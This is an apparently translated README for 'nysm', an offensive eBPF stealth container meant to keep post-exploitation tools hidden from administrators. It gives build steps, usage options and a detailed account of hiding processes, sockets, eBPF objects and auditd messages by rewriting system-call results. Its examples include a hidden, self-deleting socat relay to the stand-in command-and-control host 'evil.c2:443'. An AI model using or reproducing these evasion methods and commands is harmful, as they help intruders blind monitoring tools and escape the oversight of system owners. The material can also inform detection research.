
Стелс-контейнер на основе eBPF, который скрывает процессы, сокеты, объекты eBPF и журналы аудита от системных инструментов мониторинга, позволяя выполнять скрытые операции постэксплуатации.
Стелс-контейнер для пост-эксплуатации.
В связи с ростом популярности наступательных инструментов на основе eBPF — от крадущих учётные данные до руткитов, скрывающих собственный PID — нам пришёл в голову вопрос: Возможно ли сделать eBPF невидимым для самого себя? Так появился nysm — стелс-контейнер eBPF, предназначенный для того, чтобы наступательные инструменты оставались незамеченными для системных администраторов, скрывая не только eBPF, но и многое другое:
Все эти инструменты слепнут к тому, что проходит через nysm. Он скрывает:
Предупреждение Этот инструмент — лишь простая демонстрация возможностей eBPF. Он не претендует на полноту. Тем не менее, pull request'ы более чем приветствуются.
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm — это простая программа, запускаемая перед целевой командой:
Использование: nysm [ОПЦИЯ...] КОМАНДА
Стелс-контейнер eBPF.
-d, --detach Запустить КОМАНДУ в фоне
-r, --rm Самоуничтожение после выполнения
-v, --verbose Подробный вывод
-h, --help Показать эту справку
--usage Показать краткое сообщение об использовании
Запустить скрытый bash:
./nysm bash
Запустить скрытый ssh и удалить ./nysm:
./nysm -r ssh user@domain
Запустить скрытый socat как демон и удалить ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Поскольку eBPF не может перезаписывать возвращаемые значения или адреса ядра, наша цель — найти системный вызов самого низкого уровня, взаимодействующий с пользовательским адресом, чтобы перезаписать его значение и скрыть нужные объекты.
Чтобы отличать события nysm от других, всё выполняется внутри отдельного пространства имён PID.
bpftool имеет некоторые возможности, от которых nysm хочет ускользнуть: bpftool prog list, bpftool map list и bpftool link list.
Как и любая программа eBPF, bpftool использует системный вызов bpf(), а именно команды BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID и BPF_LINK_GET_NEXT_ID. Результат этих вызовов сохраняется в адрес пользовательского пространства, на который указывает аргумент attr.
Чтобы перезаписать uattr, на точке входа bpf() устанавливается трассировочная точка, которая сохраняет указанный адрес в карте. После этого она ожидает трассировочную точку выхода из bpf(). Когда bpf() завершается, nysm может читать и писать через структуру bpf_attr. После каждого BPF_*_GET_NEXT_ID значение bpf_attr.start_id заменяется на bpf_attr.next_id.
Чтобы скрыть определённые ID, проверяется bpf_attr.next_id и заменяется на следующий ID, не созданный внутри nysm.
ID программ, карт и ссылок собираются из security_bpf_prog(), security_bpf_map() и bpf_link_prime().
Auditd получает свои логи через recvfrom(), которая сохраняет сообщения в буфере.
Если полученное сообщение было сгенерировано процессом nysm через audit_log_end(), длина сообщения в его заголовке nlmsghdr заменяется на 0.
Скрытие PID с помощью eBPF — не новость. nysm скрывает новые PID, созданные alloc_pid(), от getdents64() в /proc путём изменения длины предыдущей записи.
Поскольку getdents64() требует перебора всех файлов, лимит инструкций eBPF легко достигается. Поэтому nysm использует tail calls, не доходя до этого лимита.
Скрытие сокетов — громкое слово. На самом деле открытые сокеты уже скрыты от многих инструментов, так как они не могут найти процесс в /proc. Тем не менее, ss использует socket() с флагом NETLINK_SOCK_DIAG, который возвращает все открытые в данный момент сокеты. Затем ss получает результат через recvmsg() в буфере сообщений, и возвращаемое значение — это длина всех этих сообщений вместе.
Здесь применяется тот же метод, что и для PID: длина предыдущего сообщения изменяется, чтобы скрыть сокеты nysm.
Эти сокеты собираются из вызовов connect() и bind().
Даже при всех усилиях у nysm есть некоторые ограничения.
Любой инструмент, который не закрывает свои файловые дескрипторы, заметит процессы nysm, созданные, пока эти дескрипторы открыты. Например, если ./nysm bash запущен до top, процессы не отобразятся. Но если из этого экземпляра bash будет создан новый процесс, пока top ещё работает, новый процесс будет замечен. Та же проблема возникает с сокетами и такими инструментами, как nethogs.
Логи ядра: dmesg и /var/log/kern.log — сообщение nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! будет появляться несколько раз из-за верификатора eBPF при запуске nysm.
Множество следов, записываемых в файлы, остаются, так как перехват read() и write() был бы слишком тяжёлым (хотя и возможным). Например, /proc/net/tcp или /sys/kernel/debug/tracing/enabled_functions.
Конечно, у многих из этих ограничений есть свои решения. Опять же, pull request'ы более чем приветствуются.
Скрытие recvmsg для ss может быть затруднено, так как новый сокет может появиться в начале буфера, и nysm не может скрыть его с помощью предыдущей записи (это не относится к PID). Быстрым решением могло бы быть перестановка местами первого и следующего легитимного сокета, но что, если сокет в буфере один? Поэтому nysm изменяет информацию о первом сокете на жёстко заданные значения.
Вызов bpf() с любым флагом BPF_*_GET_NEXT_ID из дочернего процесса nysm следует избегать, так как это скроет все не-nysm объекты eBPF.